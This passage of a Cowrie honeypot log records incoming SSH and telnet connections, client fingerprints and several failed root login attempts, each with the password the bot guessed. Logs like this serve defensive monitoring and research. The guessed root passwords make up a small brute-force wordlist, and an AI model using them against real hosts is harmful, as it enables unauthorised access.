macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:18.480906Z","src_ip":"194.59.206.2","session":"429e53dfbc9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:18.572740Z","src_ip":"194.59.206.2","session":"429e53dfbc9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.43780159950256,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:30.517385Z","src_ip":"135.148.14.151","session":"64c7047cdb62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":53522,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0cdd24b6b8f","protocol":"ssh","message":"New connection: 103.77.242.62:53522 (10.17.0.5:22) [session: d0cdd24b6b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:35.663890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:35.668728Z","src_ip":"103.77.242.62","session":"d0cdd24b6b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:35.918153Z","src_ip":"103.77.242.62","session":"d0cdd24b6b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010a","message":"login attempt [root/101010a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:36.668555Z","src_ip":"103.77.242.62","session":"d0cdd24b6b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:37.921735Z","src_ip":"103.77.242.62","session":"d0cdd24b6b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.18882775306702,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:41.769880Z","src_ip":"135.148.14.151","session":"c423ac497ee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05416798591614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:47.707154Z","src_ip":"135.148.14.151","session":"a512a83493b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44888,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e1d33505989","protocol":"telnet","message":"New connection: 135.148.14.151:44888 (159.203.135.109:23) [session: 3e1d33505989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:49.657217Z"}
{"eventid":"cowrie.session.closed","duration":35.559398889541626,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:51.428241Z","src_ip":"135.148.14.151","session":"b3f8170af2ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43998,"dst_ip":"159.203.135.109","dst_port":23,"session":"8249a3dfe0ad","protocol":"telnet","message":"New connection: 135.148.14.151:43998 (159.203.135.109:23) [session: 8249a3dfe0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:51.697060Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b0671569bb","protocol":"ssh","message":"New connection: 62.133.62.83:56624 (10.17.0.5:22) [session: b2b0671569bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:55.346107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:55.351133Z","src_ip":"62.133.62.83","session":"b2b0671569bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:55.430439Z","src_ip":"62.133.62.83","session":"b2b0671569bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supreme","message":"login attempt [root/supreme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:55.672582Z","src_ip":"62.133.62.83","session":"b2b0671569bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:56.766644Z","src_ip":"62.133.62.83","session":"b2b0671569bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50746,"dst_ip":"159.203.135.109","dst_port":23,"session":"b275dd5e3fa1","protocol":"telnet","message":"New connection: 135.148.14.151:50746 (159.203.135.109:23) [session: b275dd5e3fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:22:59.002704Z"}
{"eventid":"cowrie.session.closed","duration":32.82857871055603,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:22.485693Z","src_ip":"135.148.14.151","session":"3e1d33505989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":13138,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c001b508ebe","protocol":"ssh","message":"New connection: 38.93.206.2:13138 (159.203.135.109:22) [session: 2c001b508ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:23.521408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:23.527592Z","src_ip":"38.93.206.2","session":"2c001b508ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:23.592706Z","src_ip":"38.93.206.2","session":"2c001b508ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kotopes","message":"login attempt [root/kotopes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:23.748710Z","src_ip":"38.93.206.2","session":"2c001b508ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:24.801296Z","src_ip":"38.93.206.2","session":"2c001b508ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.584813594818115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:27.281743Z","src_ip":"135.148.14.151","session":"8249a3dfe0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"398ffda48026","protocol":"telnet","message":"New connection: 135.148.14.151:39812 (159.203.135.109:23) [session: 398ffda48026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:34.516135Z"}
{"eventid":"cowrie.session.closed","duration":39.152016162872314,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:38.154634Z","src_ip":"135.148.14.151","session":"b275dd5e3fa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba00b08273e0","protocol":"telnet","message":"New connection: 135.148.14.151:33690 (159.203.135.109:23) [session: ba00b08273e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:55.126602Z"}
{"eventid":"cowrie.session.closed","duration":0.009721517562866211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:23:55.136215Z","src_ip":"135.148.14.151","session":"ba00b08273e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.058109760284424,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:24:12.574154Z","src_ip":"135.148.14.151","session":"398ffda48026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37850,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc2e3f145740","protocol":"telnet","message":"New connection: 135.148.14.151:37850 (159.203.135.109:23) [session: dc2e3f145740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:24:32.089224Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45756,"dst_ip":"159.203.135.109","dst_port":23,"session":"07be49ed975a","protocol":"telnet","message":"New connection: 135.148.14.151:45756 (159.203.135.109:23) [session: 07be49ed975a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:24:49.782549Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53678,"dst_ip":"159.203.135.109","dst_port":23,"session":"3041979159f7","protocol":"telnet","message":"New connection: 135.148.14.151:53678 (159.203.135.109:23) [session: 3041979159f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:07.900644Z"}
{"eventid":"cowrie.session.closed","duration":36.26206111907959,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:08.351199Z","src_ip":"135.148.14.151","session":"dc2e3f145740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.82481527328491,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:28.607245Z","src_ip":"135.148.14.151","session":"07be49ed975a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35646,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ea1719f7e9","protocol":"telnet","message":"New connection: 135.148.14.151:35646 (159.203.135.109:23) [session: 61ea1719f7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:33.685293Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36868,"dst_ip":"159.203.135.109","dst_port":23,"session":"22abff9a8406","protocol":"telnet","message":"New connection: 135.148.14.151:36868 (159.203.135.109:23) [session: 22abff9a8406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:36.697069Z"}
{"eventid":"cowrie.session.closed","duration":36.380839109420776,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:44.281337Z","src_ip":"135.148.14.151","session":"3041979159f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44650,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb84b722711c","protocol":"telnet","message":"New connection: 135.148.14.151:44650 (159.203.135.109:23) [session: eb84b722711c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:25:51.861425Z"}
{"eventid":"cowrie.session.closed","duration":33.84102010726929,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:07.526209Z","src_ip":"135.148.14.151","session":"61ea1719f7e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43286,"dst_ip":"10.17.0.5","dst_port":22,"session":"125cef027c34","protocol":"ssh","message":"New connection: 103.153.68.219:43286 (10.17.0.5:22) [session: 125cef027c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:10.308393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:10.313656Z","src_ip":"103.153.68.219","session":"125cef027c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:10.570082Z","src_ip":"103.153.68.219","session":"125cef027c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56044,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e86ae0b7140","protocol":"ssh","message":"New connection: 194.113.233.25:56044 (159.203.135.109:22) [session: 1e86ae0b7140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:10.734212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:10.738460Z","src_ip":"194.113.233.25","session":"1e86ae0b7140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:10.862266Z","src_ip":"194.113.233.25","session":"1e86ae0b7140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120189","message":"login attempt [root/120189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:11.264191Z","src_ip":"194.113.233.25","session":"1e86ae0b7140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62801122665405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:11.324939Z","src_ip":"135.148.14.151","session":"22abff9a8406","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"inspiron","message":"login attempt [root/inspiron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:11.341460Z","src_ip":"103.153.68.219","session":"125cef027c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53784,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf7e02cf181","protocol":"telnet","message":"New connection: 135.148.14.151:53784 (159.203.135.109:23) [session: baf7e02cf181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:11.742137Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:12.418787Z","src_ip":"194.113.233.25","session":"1e86ae0b7140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:12.599260Z","src_ip":"103.153.68.219","session":"125cef027c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58562,"dst_ip":"159.203.135.109","dst_port":23,"session":"133e53b0dfdc","protocol":"telnet","message":"New connection: 135.148.14.151:58562 (159.203.135.109:23) [session: 133e53b0dfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:22.415333Z"}
{"eventid":"cowrie.session.closed","duration":38.837178468704224,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:30.698501Z","src_ip":"135.148.14.151","session":"eb84b722711c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.238.126.207","src_port":43990,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f8d863ab81c","protocol":"ssh","message":"New connection: 195.238.126.207:43990 (10.17.0.5:22) [session: 6f8d863ab81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:43.607191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:43.612734Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
